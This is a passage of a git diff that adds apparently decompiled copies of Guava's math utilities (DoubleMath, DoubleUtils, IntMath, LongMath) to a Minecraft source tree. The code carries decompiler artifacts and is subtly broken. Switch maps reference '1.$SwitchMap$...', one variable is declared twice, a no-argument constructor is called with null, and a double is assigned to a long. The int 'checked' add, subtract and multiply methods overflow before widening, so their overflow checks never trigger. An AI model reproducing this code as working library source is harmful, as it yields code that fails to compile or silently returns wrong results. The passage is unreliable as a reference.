+
+
+
+  public static double factorial(int n)
+  {
+    MathPreconditions.checkNonNegative("n", n);
+    if (n > 170) {
+      return Double.POSITIVE_INFINITY;
+    }
+    
+
+    double accum = 1.0D;
+    for (int i = 1 + (n & 0xFFFFFFF0); i <= n; i++) {
+      accum *= i;
+    }
+    return accum * everySixteenthFactorial[(n >> 4)];
+  }
+  
+
+
+
+
+  @VisibleForTesting
+  static final double[] everySixteenthFactorial = { 1.0D, 2.0922789888E13D, 2.631308369336935E35D, 1.2413915592536073E61D, 1.2688693218588417E89D, 7.156945704626381E118D, 9.916779348709496E149D, 1.974506857221074E182D, 3.856204823625804E215D, 5.5502938327393044E249D, 4.7147236359920616E284D };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean fuzzyEquals(double a, double b, double tolerance)
+  {
+    MathPreconditions.checkNonNegative("tolerance", tolerance);
+    return (Math.copySign(a - b, 1.0D) <= tolerance) || (a == b) || ((Double.isNaN(a)) && (Double.isNaN(b)));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int fuzzyCompare(double a, double b, double tolerance)
+  {
+    if (fuzzyEquals(a, b, tolerance))
+      return 0;
+    if (a < b)
+      return -1;
+    if (a > b) {
+      return 1;
+    }
+    return Booleans.compare(Double.isNaN(a), Double.isNaN(b));
+  }
+  
+  @GwtIncompatible("com.google.common.math.DoubleUtils")
+  private static final class MeanAccumulator {
+    private MeanAccumulator() {}
+    
+    private long count = 0L;
+    private double mean = 0.0D;
+    
+    void add(double value) {
+      Preconditions.checkArgument(DoubleUtils.isFinite(value));
+      count += 1L;
+      
+      mean += (value - mean) / count;
+    }
+    
+    double mean() {
+      Preconditions.checkArgument(count > 0L, "Cannot take mean of 0 values");
+      return mean;
+    }
+  }
+  
+
+
+
+  @GwtIncompatible("MeanAccumulator")
+  public static double mean(double... values)
+  {
+    MeanAccumulator accumulator = new MeanAccumulator(null);
+    for (double value : values) {
+      accumulator.add(value);
+    }
+    return accumulator.mean();
+  }
+  
+
+
+
+  @GwtIncompatible("MeanAccumulator")
+  public static double mean(int... values)
+  {
+    MeanAccumulator accumulator = new MeanAccumulator(null);
+    for (int value : values) {
+      accumulator.add(value);
+    }
+    return accumulator.mean();
+  }
+  
+
+
+
+
+  @GwtIncompatible("MeanAccumulator")
+  public static double mean(long... values)
+  {
+    MeanAccumulator accumulator = new MeanAccumulator(null);
+    for (long value : values) {
+      accumulator.add(value);
+    }
+    return accumulator.mean();
+  }
+  
+
+
+
+
+  @GwtIncompatible("MeanAccumulator")
+  public static double mean(Iterable<? extends Number> values)
+  {
+    MeanAccumulator accumulator = new MeanAccumulator(null);
+    for (Number value : values) {
+      accumulator.add(value.doubleValue());
+    }
+    return accumulator.mean();
+  }
+  
+
+
+
+
+  @GwtIncompatible("MeanAccumulator")
+  public static double mean(Iterator<? extends Number> values)
+  {
+    MeanAccumulator accumulator = new MeanAccumulator(null);
+    while (values.hasNext()) {
+      accumulator.add(((Number)values.next()).doubleValue());
+    }
+    return accumulator.mean();
+  }
+  
+  private DoubleMath() {}
+}
diff --git a/src/minecraft/com/google/common/math/DoubleUtils.java b/src/minecraft/com/google/common/math/DoubleUtils.java
new file mode 100644
index 0000000..0e16ce4
--- /dev/null
+++ b/src/minecraft/com/google/common/math/DoubleUtils.java
@@ -0,0 +1,148 @@
+package com.google.common.math;
+
+import com.google.common.base.Preconditions;
+import java.math.BigInteger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class DoubleUtils
+{
+  static final long SIGNIFICAND_MASK = 4503599627370495L;
+  static final long EXPONENT_MASK = 9218868437227405312L;
+  static final long SIGN_MASK = Long.MIN_VALUE;
+  static final int SIGNIFICAND_BITS = 52;
+  static final int EXPONENT_BIAS = 1023;
+  static final long IMPLICIT_BIT = 4503599627370496L;
+  
+  private DoubleUtils() {}
+  
+  static double nextDown(double d)
+  {
+    return -Math.nextUp(-d);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static long getSignificand(double d)
+  {
+    Preconditions.checkArgument(isFinite(d), "not a normal value");
+    int exponent = Math.getExponent(d);
+    long bits = Double.doubleToRawLongBits(d);
+    bits &= 0xFFFFFFFFFFFFF;
+    return exponent == 64513 ? bits << 1 : bits | 0x10000000000000;
+  }
+  
+
+  static boolean isFinite(double d)
+  {
+    return Math.getExponent(d) <= 1023;
+  }
+  
+  static boolean isNormal(double d) {
+    return Math.getExponent(d) >= 64514;
+  }
+  
+
+
+
+  static double scaleNormalize(double x)
+  {
+    long significand = Double.doubleToRawLongBits(x) & 0xFFFFFFFFFFFFF;
+    return Double.longBitsToDouble(significand | ONE_BITS);
+  }
+  
+  static double bigToDouble(BigInteger x)
+  {
+    BigInteger absX = x.abs();
+    int exponent = absX.bitLength() - 1;
+    
+    if (exponent < 63)
+      return x.longValue();
+    if (exponent > 1023) {
+      return x.signum() * Double.POSITIVE_INFINITY;
+    }
+    
+
+
+
+
+
+
+
+
+    int shift = exponent - 52 - 1;
+    long twiceSignifFloor = absX.shiftRight(shift).longValue();
+    long signifFloor = twiceSignifFloor >> 1;
+    signifFloor &= 0xFFFFFFFFFFFFF;
+    
+
+
+
+
+
+    boolean increment = ((twiceSignifFloor & 1L) != 0L) && (((signifFloor & 1L) != 0L) || (absX.getLowestSetBit() < shift));
+    
+    long signifRounded = increment ? signifFloor + 1L : signifFloor;
+    long bits = exponent + 1023 << 52;
+    bits += signifRounded;
+    
+
+
+
+
+
+    bits |= x.signum() & 0x8000000000000000;
+    return Double.longBitsToDouble(bits);
+  }
+  
+
+
+  static double ensureNonNegative(double value)
+  {
+    Preconditions.checkArgument(!Double.isNaN(value));
+    if (value > 0.0D) {
+      return value;
+    }
+    return 0.0D;
+  }
+  
+
+  private static final long ONE_BITS = Double.doubleToRawLongBits(1.0D);
+}
diff --git a/src/minecraft/com/google/common/math/IntMath.java b/src/minecraft/com/google/common/math/IntMath.java
new file mode 100644
index 0000000..30507af
--- /dev/null
+++ b/src/minecraft/com/google/common/math/IntMath.java
@@ -0,0 +1,584 @@
+package com.google.common.math;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Preconditions;
+import java.math.RoundingMode;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+public final class IntMath
+{
+  @VisibleForTesting
+  static final int MAX_POWER_OF_SQRT2_UNSIGNED = -1257966797;
+  
+  public static boolean isPowerOfTwo(int x)
+  {
+    return (x > 0 ? 1 : 0) & ((x & x - 1) == 0 ? 1 : 0);
+  }
+  
+
+
+
+
+
+
+  @VisibleForTesting
+  static int lessThanBranchFree(int x, int y)
+  {
+    return (x - y ^ 0xFFFFFFFF ^ 0xFFFFFFFF) >>> 31;
+  }
+  
+
+
+
+
+
+
+
+
+  public static int log2(int x, RoundingMode mode)
+  {
+    MathPreconditions.checkPositive("x", x);
+    switch (1.$SwitchMap$java$math$RoundingMode[mode.ordinal()]) {
+    case 1: 
+      MathPreconditions.checkRoundingUnnecessary(isPowerOfTwo(x));
+    
+    case 2: 
+    case 3: 
+      return 31 - Integer.numberOfLeadingZeros(x);
+    
+    case 4: 
+    case 5: 
+      return 32 - Integer.numberOfLeadingZeros(x - 1);
+    
+
+    case 6: 
+    case 7: 
+    case 8: 
+      int leadingZeros = Integer.numberOfLeadingZeros(x);
+      int cmp = -1257966797 >>> leadingZeros;
+      
+      int logFloor = 31 - leadingZeros;
+      return logFloor + lessThanBranchFree(cmp, x);
+    }
+    
+    throw new AssertionError();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("need BigIntegerMath to adequately test")
+  public static int log10(int x, RoundingMode mode)
+  {
+    MathPreconditions.checkPositive("x", x);
+    int logFloor = log10Floor(x);
+    int floorPow = powersOf10[logFloor];
+    switch (1.$SwitchMap$java$math$RoundingMode[mode.ordinal()]) {
+    case 1: 
+      MathPreconditions.checkRoundingUnnecessary(x == floorPow);
+    
+    case 2: 
+    case 3: 
+      return logFloor;
+    case 4: 
+    case 5: 
+      return logFloor + lessThanBranchFree(floorPow, x);
+    
+    case 6: 
+    case 7: 
+    case 8: 
+      return logFloor + lessThanBranchFree(halfPowersOf10[logFloor], x);
+    }
+    throw new AssertionError();
+  }
+  
+
+
+
+
+
+
+
+  private static int log10Floor(int x)
+  {
+    int y = maxLog10ForLeadingZeros[Integer.numberOfLeadingZeros(x)];
+    
+
+
+
+    return y - lessThanBranchFree(x, powersOf10[y]);
+  }
+  
+  @VisibleForTesting
+  static final byte[] maxLog10ForLeadingZeros = { 9, 9, 9, 8, 8, 8, 7, 7, 7, 6, 6, 6, 6, 5, 5, 5, 4, 4, 4, 3, 3, 3, 3, 2, 2, 2, 1, 1, 1, 0, 0, 0, 0 };
+  
+  @VisibleForTesting
+  static final int[] powersOf10 = { 1, 10, 100, 1000, 10000, 100000, 1000000, 10000000, 100000000, 1000000000 };
+  
+
+  @VisibleForTesting
+  static final int[] halfPowersOf10 = { 3, 31, 316, 3162, 31622, 316227, 3162277, 31622776, 316227766, Integer.MAX_VALUE };
+  
+
+
+
+  @VisibleForTesting
+  static final int FLOOR_SQRT_MAX_INT = 46340;
+  
+
+
+
+  @GwtIncompatible("failing tests")
+  public static int pow(int b, int k)
+  {
+    MathPreconditions.checkNonNegative("exponent", k);
+    switch (b) {
+    case 0: 
+      return k == 0 ? 1 : 0;
+    case 1: 
+      return 1;
+    case -1: 
+      return (k & 0x1) == 0 ? 1 : -1;
+    case 2: 
+      return k < 32 ? 1 << k : 0;
+    case -2: 
+      if (k < 32) {
+        return (k & 0x1) == 0 ? 1 << k : -(1 << k);
+      }
+      return 0;
+    }
+    
+    
+
+    for (int accum = 1;; k >>= 1) {
+      switch (k) {
+      case 0: 
+        return accum;
+      case 1: 
+        return b * accum;
+      }
+      accum *= ((k & 0x1) == 0 ? 1 : b);
+      b *= b;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  @GwtIncompatible("need BigIntegerMath to adequately test")
+  public static int sqrt(int x, RoundingMode mode)
+  {
+    MathPreconditions.checkNonNegative("x", x);
+    int sqrtFloor = sqrtFloor(x);
+    switch (1.$SwitchMap$java$math$RoundingMode[mode.ordinal()]) {
+    case 1: 
+      MathPreconditions.checkRoundingUnnecessary(sqrtFloor * sqrtFloor == x);
+    case 2: 
+    case 3: 
+      return sqrtFloor;
+    case 4: 
+    case 5: 
+      return sqrtFloor + lessThanBranchFree(sqrtFloor * sqrtFloor, x);
+    case 6: 
+    case 7: 
+    case 8: 
+      int halfSquare = sqrtFloor * sqrtFloor + sqrtFloor;
+      
+
+
+
+
+
+
+
+
+
+
+      return sqrtFloor + lessThanBranchFree(halfSquare, x);
+    }
+    throw new AssertionError();
+  }
+  
+
+
+  private static int sqrtFloor(int x)
+  {
+    return (int)Math.sqrt(x);
+  }
+  
+
+
+
+
+
+
+
+  public static int divide(int p, int q, RoundingMode mode)
+  {
+    Preconditions.checkNotNull(mode);
+    if (q == 0) {
+      throw new ArithmeticException("/ by zero");
+    }
+    int div = p / q;
+    int rem = p - q * div;
+    
+    if (rem == 0) {
+      return div;
+    }
+    
+
+
+
+
+
+
+
+    int signum = 0x1 | (p ^ q) >> 31;
+    boolean increment;
+    boolean increment; switch (1.$SwitchMap$java$math$RoundingMode[mode.ordinal()]) {
+    case 1: 
+      MathPreconditions.checkRoundingUnnecessary(rem == 0);
+    
+    case 2: 
+      increment = false;
+      break;
+    case 4: 
+      increment = true;
+      break;
+    case 5: 
+      increment = signum > 0;
+      break;
+    case 3: 
+      increment = signum < 0;
+      break;
+    case 6: 
+    case 7: 
+    case 8: 
+      int absRem = Math.abs(rem);
+      int cmpRemToHalfDivisor = absRem - (Math.abs(q) - absRem);
+      
+
+      if (cmpRemToHalfDivisor == 0) {
+        if (mode != RoundingMode.HALF_UP) {} increment = ((mode == RoundingMode.HALF_EVEN ? 1 : 0) & ((div & 0x1) != 0 ? 1 : 0)) != 0;
+      } else {
+        increment = cmpRemToHalfDivisor > 0;
+      }
+      break;
+    default: 
+      throw new AssertionError();
+    }
+    return increment ? div + signum : div;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int mod(int x, int m)
+  {
+    if (m <= 0) {
+      throw new ArithmeticException("Modulus " + m + " must be > 0");
+    }
+    int result = x % m;
+    return result >= 0 ? result : result + m;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static int gcd(int a, int b)
+  {
+    MathPreconditions.checkNonNegative("a", a);
+    MathPreconditions.checkNonNegative("b", b);
+    if (a == 0)
+    {
+
+      return b; }
+    if (b == 0) {
+      return a;
+    }
+    
+
+
+
+    int aTwos = Integer.numberOfTrailingZeros(a);
+    a >>= aTwos;
+    int bTwos = Integer.numberOfTrailingZeros(b);
+    b >>= bTwos;
+    while (a != b)
+    {
+
+
+
+
+
+
+      int delta = a - b;
+      
+      int minDeltaOrZero = delta & delta >> 31;
+      
+
+      a = delta - minDeltaOrZero - minDeltaOrZero;
+      
+
+      b += minDeltaOrZero;
+      a >>= Integer.numberOfTrailingZeros(a);
+    }
+    return a << Math.min(aTwos, bTwos);
+  }
+  
+
+
+
+
+  public static int checkedAdd(int a, int b)
+  {
+    long result = a + b;
+    MathPreconditions.checkNoOverflow(result == (int)result);
+    return (int)result;
+  }
+  
+
+
+
+
+  public static int checkedSubtract(int a, int b)
+  {
+    long result = a - b;
+    MathPreconditions.checkNoOverflow(result == (int)result);
+    return (int)result;
+  }
+  
+
+
+
+
+  public static int checkedMultiply(int a, int b)
+  {
+    long result = a * b;
+    MathPreconditions.checkNoOverflow(result == (int)result);
+    return (int)result;
+  }
+  
+
+
+
+
+
+
+
+  public static int checkedPow(int b, int k)
+  {
+    MathPreconditions.checkNonNegative("exponent", k);
+    switch (b) {
+    case 0: 
+      return k == 0 ? 1 : 0;
+    case 1: 
+      return 1;
+    case -1: 
+      return (k & 0x1) == 0 ? 1 : -1;
+    case 2: 
+      MathPreconditions.checkNoOverflow(k < 31);
+      return 1 << k;
+    case -2: 
+      MathPreconditions.checkNoOverflow(k < 32);
+      return (k & 0x1) == 0 ? 1 << k : -1 << k;
+    }
+    
+    
+    int accum = 1;
+    for (;;) {
+      switch (k) {
+      case 0: 
+        return accum;
+      case 1: 
+        return checkedMultiply(accum, b);
+      }
+      if ((k & 0x1) != 0) {
+        accum = checkedMultiply(accum, b);
+      }
+      k >>= 1;
+      if (k > 0) {
+        MathPreconditions.checkNoOverflow((-46340 <= b ? 1 : 0) & (b <= 46340 ? 1 : 0));
+        b *= b;
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static int factorial(int n)
+  {
+    MathPreconditions.checkNonNegative("n", n);
+    return n < factorials.length ? factorials[n] : Integer.MAX_VALUE;
+  }
+  
+  private static final int[] factorials = { 1, 1, 2, 6, 24, 120, 720, 5040, 40320, 362880, 3628800, 39916800, 479001600 };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("need BigIntegerMath to adequately test")
+  public static int binomial(int n, int k)
+  {
+    MathPreconditions.checkNonNegative("n", n);
+    MathPreconditions.checkNonNegative("k", k);
+    Preconditions.checkArgument(k <= n, "k (%s) > n (%s)", new Object[] { Integer.valueOf(k), Integer.valueOf(n) });
+    if (k > n >> 1) {
+      k = n - k;
+    }
+    if ((k >= biggestBinomials.length) || (n > biggestBinomials[k])) {
+      return Integer.MAX_VALUE;
+    }
+    switch (k) {
+    case 0: 
+      return 1;
+    case 1: 
+      return n;
+    }
+    long result = 1L;
+    for (int i = 0; i < k; i++) {
+      result *= (n - i);
+      result /= (i + 1);
+    }
+    return (int)result;
+  }
+  
+
+  @VisibleForTesting
+  static int[] biggestBinomials = { Integer.MAX_VALUE, Integer.MAX_VALUE, 65536, 2345, 477, 193, 110, 75, 58, 49, 43, 39, 37, 35, 34, 34, 33 };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int mean(int x, int y)
+  {
+    return (x & y) + ((x ^ y) >> 1);
+  }
+  
+  private IntMath() {}
+}
diff --git a/src/minecraft/com/google/common/math/LongMath.java b/src/minecraft/com/google/common/math/LongMath.java
new file mode 100644
index 0000000..d8e0d0a
--- /dev/null
+++ b/src/minecraft/com/google/common/math/LongMath.java
@@ -0,0 +1,776 @@
+package com.google.common.math;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Preconditions;
+import java.math.RoundingMode;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+public final class LongMath
+{
+  @VisibleForTesting
+  static final long MAX_POWER_OF_SQRT2_UNSIGNED = -5402926248376769404L;
+  
+  public static boolean isPowerOfTwo(long x)
+  {
+    return (x > 0L ? 1 : 0) & ((x & x - 1L) == 0L ? 1 : 0);
+  }
+  
+
+
+
+
+
+  @VisibleForTesting
+  static int lessThanBranchFree(long x, long y)
+  {
+    return (int)((x - y ^ 0xFFFFFFFFFFFFFFFF ^ 0xFFFFFFFFFFFFFFFF) >>> 63);
+  }
+  
+
+
+
+
+
+
+
+
+  public static int log2(long x, RoundingMode mode)
+  {
+    MathPreconditions.checkPositive("x", x);
+    switch (1.$SwitchMap$java$math$RoundingMode[mode.ordinal()]) {
+    case 1: 
+      MathPreconditions.checkRoundingUnnecessary(isPowerOfTwo(x));
+    
+    case 2: 
+    case 3: 
+      return 63 - Long.numberOfLeadingZeros(x);
+    
+    case 4: 
+    case 5: 
+      return 64 - Long.numberOfLeadingZeros(x - 1L);
+    
+
+    case 6: 
+    case 7: 
+    case 8: 
+      int leadingZeros = Long.numberOfLeadingZeros(x);
+      long cmp = -5402926248376769404L >>> leadingZeros;
+      
+      int logFloor = 63 - leadingZeros;
+      return logFloor + lessThanBranchFree(cmp, x);
+    }
+    
+    throw new AssertionError("impossible");
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("TODO")
+  public static int log10(long x, RoundingMode mode)
+  {
+    MathPreconditions.checkPositive("x", x);
+    int logFloor = log10Floor(x);
+    long floorPow = powersOf10[logFloor];
+    switch (1.$SwitchMap$java$math$RoundingMode[mode.ordinal()]) {
+    case 1: 
+      MathPreconditions.checkRoundingUnnecessary(x == floorPow);
+    
+    case 2: 
+    case 3: 
+      return logFloor;
+    case 4: 
+    case 5: 
+      return logFloor + lessThanBranchFree(floorPow, x);
+    
+    case 6: 
+    case 7: 
+    case 8: 
+      return logFloor + lessThanBranchFree(halfPowersOf10[logFloor], x);
+    }
+    throw new AssertionError();
+  }
+  
+
+
+
+
+
+
+
+  @GwtIncompatible("TODO")
+  static int log10Floor(long x)
+  {
+    int y = maxLog10ForLeadingZeros[Long.numberOfLeadingZeros(x)];
+    
+
+
+
+    return y - lessThanBranchFree(x, powersOf10[y]);
+  }
+  
+  @VisibleForTesting
+  static final byte[] maxLog10ForLeadingZeros = { 19, 18, 18, 18, 18, 17, 17, 17, 16, 16, 16, 15, 15, 15, 15, 14, 14, 14, 13, 13, 13, 12, 12, 12, 12, 11, 11, 11, 10, 10, 10, 9, 9, 9, 9, 8, 8, 8, 7, 7, 7, 6, 6, 6, 6, 5, 5, 5, 4, 4, 4, 3, 3, 3, 3, 2, 2, 2, 1, 1, 1, 0, 0, 0 };
+  
+
+
+
+  @GwtIncompatible("TODO")
+  @VisibleForTesting
+  static final long[] powersOf10 = { 1L, 10L, 100L, 1000L, 10000L, 100000L, 1000000L, 10000000L, 100000000L, 1000000000L, 10000000000L, 100000000000L, 1000000000000L, 10000000000000L, 100000000000000L, 1000000000000000L, 10000000000000000L, 100000000000000000L, 1000000000000000000L };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("TODO")
+  @VisibleForTesting
+  static final long[] halfPowersOf10 = { 3L, 31L, 316L, 3162L, 31622L, 316227L, 3162277L, 31622776L, 316227766L, 3162277660L, 31622776601L, 316227766016L, 3162277660168L, 31622776601683L, 316227766016837L, 3162277660168379L, 31622776601683793L, 316227766016837933L, 3162277660168379331L };
+  
+
+
+
+
+
+
+
+
+
+
+
+  @VisibleForTesting
+  static final long FLOOR_SQRT_MAX_LONG = 3037000499L;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("TODO")
+  public static long pow(long b, int k)
+  {
+    MathPreconditions.checkNonNegative("exponent", k);
+    if ((-2L <= b) && (b <= 2L)) {
+      switch ((int)b) {
+      case 0: 
+        return k == 0 ? 1L : 0L;
+      case 1: 
+        return 1L;
+      case -1: 
+        return (k & 0x1) == 0 ? 1L : -1L;
+      case 2: 
+        return k < 64 ? 1L << k : 0L;
+      case -2: 
+        if (k < 64) {
+          return (k & 0x1) == 0 ? 1L << k : -(1L << k);
+        }
+        return 0L;
+      }
+      
+      throw new AssertionError();
+    }
+    
+    for (long accum = 1L;; k >>= 1) {
+      switch (k) {
+      case 0: 
+        return accum;
+      case 1: 
+        return accum * b;
+      }
+      accum *= ((k & 0x1) == 0 ? 1L : b);
+      b *= b;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  @GwtIncompatible("TODO")
+  public static long sqrt(long x, RoundingMode mode)
+  {
+    MathPreconditions.checkNonNegative("x", x);
+    if (fitsInInt(x)) {
+      return IntMath.sqrt((int)x, mode);
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    long guess = Math.sqrt(x);
+    
+    long guessSquared = guess * guess;
+    
+
+    switch (1.$SwitchMap$java$math$RoundingMode[mode.ordinal()]) {
+    case 1: 
+      MathPreconditions.checkRoundingUnnecessary(guessSquared == x);
+      return guess;
+    case 2: 
+    case 3: 
+      if (x < guessSquared) {
+        return guess - 1L;
+      }
+      return guess;
+    case 4: 
+    case 5: 
+      if (x > guessSquared) {
+        return guess + 1L;
+      }
+      return guess;
+    case 6: 
+    case 7: 
+    case 8: 
+      long sqrtFloor = guess - (x < guessSquared ? 1 : 0);
+      long halfSquare = sqrtFloor * sqrtFloor + sqrtFloor;
+      
+
+
+
+
+
+
+
+
+
+
+      return sqrtFloor + lessThanBranchFree(halfSquare, x);
+    }
+    throw new AssertionError();
+  }
+  
+
+
+
+
+
+
+
+
+  @GwtIncompatible("TODO")
+  public static long divide(long p, long q, RoundingMode mode)
+  {
+    Preconditions.checkNotNull(mode);
+    long div = p / q;
+    long rem = p - q * div;
+    
+    if (rem == 0L) {
+      return div;
+    }
+    
+
+
+
+
+
+
+
+    int signum = 0x1 | (int)((p ^ q) >> 63);
+    boolean increment;
+    boolean increment; switch (1.$SwitchMap$java$math$RoundingMode[mode.ordinal()]) {
+    case 1: 
+      MathPreconditions.checkRoundingUnnecessary(rem == 0L);
+    
+    case 2: 
+      increment = false;
+      break;
+    case 4: 
+      increment = true;
+      break;
+    case 5: 
+      increment = signum > 0;
+      break;
+    case 3: 
+      increment = signum < 0;
+      break;
+    case 6: 
+    case 7: 
+    case 8: 
+      long absRem = Math.abs(rem);
+      long cmpRemToHalfDivisor = absRem - (Math.abs(q) - absRem);
+      
+
+      if (cmpRemToHalfDivisor == 0L) {
+        increment = (mode == RoundingMode.HALF_UP ? 1 : 0) | (mode == RoundingMode.HALF_EVEN ? 1 : 0) & ((div & 1L) != 0L ? 1 : 0);
+      } else {
+        increment = cmpRemToHalfDivisor > 0L;
+      }
+      break;
+    default: 
+      throw new AssertionError();
+    }
+    return increment ? div + signum : div;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("TODO")
+  public static int mod(long x, int m)
+  {
+    return (int)mod(x, m);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("TODO")
+  public static long mod(long x, long m)
+  {
+    if (m <= 0L) {
+      throw new ArithmeticException("Modulus must be positive");
+    }
+    long result = x % m;
+    return result >= 0L ? result : result + m;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static long gcd(long a, long b)
+  {
+    MathPreconditions.checkNonNegative("a", a);
+    MathPreconditions.checkNonNegative("b", b);
+    if (a == 0L)
+    {
+
+      return b; }
+    if (b == 0L) {
+      return a;
+    }
+    
+
+
+
+    int aTwos = Long.numberOfTrailingZeros(a);
+    a >>= aTwos;
+    int bTwos = Long.numberOfTrailingZeros(b);
+    b >>= bTwos;
+    while (a != b)
+    {
+
+
+
+
+
+
+      long delta = a - b;
+      
+      long minDeltaOrZero = delta & delta >> 63;
+      
+
+      a = delta - minDeltaOrZero - minDeltaOrZero;
+      
+
+      b += minDeltaOrZero;
+      a >>= Long.numberOfTrailingZeros(a);
+    }
+    return a << Math.min(aTwos, bTwos);
+  }
+  
+
+
+
+
+  @GwtIncompatible("TODO")
+  public static long checkedAdd(long a, long b)
+  {
+    long result = a + b;
+    MathPreconditions.checkNoOverflow(((a ^ b) < 0L ? 1 : 0) | ((a ^ result) >= 0L ? 1 : 0));
+    return result;
+  }
+  
+
+
+
+
+  @GwtIncompatible("TODO")
+  public static long checkedSubtract(long a, long b)
+  {
+    long result = a - b;
+    MathPreconditions.checkNoOverflow(((a ^ b) >= 0L ? 1 : 0) | ((a ^ result) >= 0L ? 1 : 0));
+    return result;
+  }
+  
+
+
+
+
+
+  @GwtIncompatible("TODO")
+  public static long checkedMultiply(long a, long b)
+  {
+    int leadingZeros = Long.numberOfLeadingZeros(a) + Long.numberOfLeadingZeros(a ^ 0xFFFFFFFFFFFFFFFF) + Long.numberOfLeadingZeros(b) + Long.numberOfLeadingZeros(b ^ 0xFFFFFFFFFFFFFFFF);
+    
+
+
+
+
+
+
+
+
+
+
+    if (leadingZeros > 65) {
+      return a * b;
+    }
+    MathPreconditions.checkNoOverflow(leadingZeros >= 64);
+    MathPreconditions.checkNoOverflow((a >= 0L ? 1 : 0) | (b != Long.MIN_VALUE ? 1 : 0));
+    long result = a * b;
+    MathPreconditions.checkNoOverflow((a == 0L) || (result / a == b));
+    return result;
+  }
+  
+
+
+
+
+
+  @GwtIncompatible("TODO")
+  public static long checkedPow(long b, int k)
+  {
+    MathPreconditions.checkNonNegative("exponent", k);
+    if (((b >= -2L ? 1 : 0) & (b <= 2L ? 1 : 0)) != 0) {
+      switch ((int)b) {
+      case 0: 
+        return k == 0 ? 1L : 0L;
+      case 1: 
+        return 1L;
+      case -1: 
+        return (k & 0x1) == 0 ? 1L : -1L;
+      case 2: 
+        MathPreconditions.checkNoOverflow(k < 63);
+        return 1L << k;
+      case -2: 
+        MathPreconditions.checkNoOverflow(k < 64);
+        return (k & 0x1) == 0 ? 1L << k : -1L << k;
+      }
+      throw new AssertionError();
+    }
+    
+    long accum = 1L;
+    for (;;) {
+      switch (k) {
+      case 0: 
+        return accum;
+      case 1: 
+        return checkedMultiply(accum, b);
+      }
+      if ((k & 0x1) != 0) {
+        accum = checkedMultiply(accum, b);
+      }
+      k >>= 1;
+      if (k > 0) {
+        MathPreconditions.checkNoOverflow(b <= 3037000499L);
+        b *= b;
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("TODO")
+  public static long factorial(int n)
+  {
+    MathPreconditions.checkNonNegative("n", n);
+    return n < factorials.length ? factorials[n] : Long.MAX_VALUE;
+  }
+  
+  static final long[] factorials = { 1L, 1L, 2L, 6L, 24L, 120L, 720L, 5040L, 40320L, 362880L, 3628800L, 39916800L, 479001600L, 6227020800L, 87178291200L, 1307674368000L, 20922789888000L, 355687428096000L, 6402373705728000L, 121645100408832000L, 2432902008176640000L };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static long binomial(int n, int k)
+  {
+    MathPreconditions.checkNonNegative("n", n);
+    MathPreconditions.checkNonNegative("k", k);
+    Preconditions.checkArgument(k <= n, "k (%s) > n (%s)", new Object[] { Integer.valueOf(k), Integer.valueOf(n) });
+    if (k > n >> 1) {
+      k = n - k;
+    }
+    switch (k) {
+    case 0: 
+      return 1L;
+    case 1: 
+      return n;
+    }
+    if (n < factorials.length)
+      return factorials[n] / (factorials[k] * factorials[(n - k)]);
+    if ((k >= biggestBinomials.length) || (n > biggestBinomials[k]))
+      return Long.MAX_VALUE;
+    if ((k < biggestSimpleBinomials.length) && (n <= biggestSimpleBinomials[k]))
+    {
+      long result = n--;
+      for (int i = 2; i <= k; i++) {
+        result *= n;
+        result /= i;n--;
+      }
+      
+      return result;
+    }
+    int nBits = log2(n, RoundingMode.CEILING);
+    
+    long result = 1L;
+    long numerator = n--;
+    long denominator = 1L;
+    
+    int numeratorBits = nBits;
+    
+
+
+
+
+
+
+    for (int i = 2; i <= k; n--) {
+      if (numeratorBits + nBits < 63)
+      {
+        numerator *= n;
+        denominator *= i;
+        numeratorBits += nBits;
+      }
+      else
+      {
+        result = multiplyFraction(result, numerator, denominator);
+        numerator = n;
+        denominator = i;
+        numeratorBits = nBits;
+      }
+      i++;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    return multiplyFraction(result, numerator, denominator);
+  }
+  
+
+
+
+
+  static long multiplyFraction(long x, long numerator, long denominator)
+  {
+    if (x == 1L) {
